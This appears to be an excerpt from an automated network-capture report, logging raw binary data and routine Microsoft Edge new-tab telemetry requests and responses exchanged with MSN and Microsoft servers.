2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-18 14:17:07 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-18 14:17:07 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-18 14:17:07 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-18 14:17:07 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49819	20.125.209.212	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:07 UTC	1261	OUT	GET /c.gif?rnd=1731939423841&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4972dd82e7af4edcb0758df15293dcd4&activityId=4972dd82e7af4edcb0758df15293dcd4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=17509CD5FFDF4C37B5317ED1EC43F23C&MUID=3F08C5280D76656126F5D0130C21645D HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1; SM=T
2024-11-18 14:17:07 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3F08C5280D76656126F5D0130C21645D; domain=.msn.com; expires=Sat, 13-Dec-2025 14:17:07 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=3F08C5280D76656126F5D0130C21645D; domain=c.msn.com; expires=Sat, 13-Dec-2025 14:17:07 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 14:17:07 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 18-Nov-2024 14:27:07 GMT; path=/; SameSite=None; Secure; Date: Mon, 18 Nov 2024 14:17:07 GMT Connection: close Content-Length: 42
2024-11-18 14:17:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49825	13.89.179.13	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:08 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939427036&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10978 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1; _C_ETH=1
2024-11-18 14:17:08 UTC	10978	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 34 3a 31 37 3a 30 37 2e 30 33 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 39 37 31 64 35 38 39 2d 61 39 34 37 2d 34 36 63 33 2d 61 64 62 61 2d 63 62 65 66 38 38 35 33 37 30 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 35 38 38 35 36 31 32 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-18T14:17:07.034Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"5971d589-a947-46c3-adba-cbef88537019","epoch":"2588561279"},"app":{"locale
2024-11-18 14:17:08 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=34692611f5414045bbac4d39e4d2de94&HASH=3469&LV=202411&V=4&LU=1731939428576; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 14:17:08 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9816a77eaa7f4067bc0a6a106d12b9fc; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 14:47:08 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1540 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 14:17:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49826	13.89.179.13	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:08 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939427040&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4780 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1; _C_ETH=1
2024-11-18 14:17:08 UTC	4780	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 34 3a 31 37 3a 30 37 2e 30 33 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 39 37 31 64 35 38 39 2d 61 39 34 37 2d 34 36 63 33 2d 61 64 62 61 2d 63 62 65 66 38 38 35 33 37 30 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 35 38 38 35 36 31 32 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-18T14:17:07.039Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"5971d589-a947-46c3-adba-cbef88537019","epoch":"2588561279"},"app":{"locale
2024-11-18 14:17:08 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=57e3fe11e94e4b5a851c21a20b3ffad8&HASH=57e3&LV=202411&V=4&LU=1731939428592; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 14:17:08 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ac25e45b4c854d41b97a2fd78bc25988; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 14:47:08 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1552 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 14:17:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	49827	13.89.179.13	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:09 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939427663&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5284 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-18 14:17:09 UTC	5284	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 34 3a 31 37 3a 30 37 2e 36 36 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 39 37 31 64 35 38 39 2d 61 39 34 37 2d 34 36 63 33 2d 61 64 62 61 2d 63 62 65 66 38 38 35 33 37 30 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 35 38 38 35 36 31 32 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-18T14:17:07.661Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"5971d589-a947-46c3-adba-cbef88537019","epoch":"2588561279"},"app":{"locale
2024-11-18 14:17:09 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=82a324b598d045b3966a02ce80eb1f10&HASH=82a3&LV=202411&V=4&LU=1731939429178; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 14:17:09 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ae28c6736ce4456eb9cf365ae94a01c7; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 14:47:09 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1515 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 14:17:08 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	49828	13.89.179.13	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:09 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939428046&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9634 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1; msnup=; _C_ETH=1
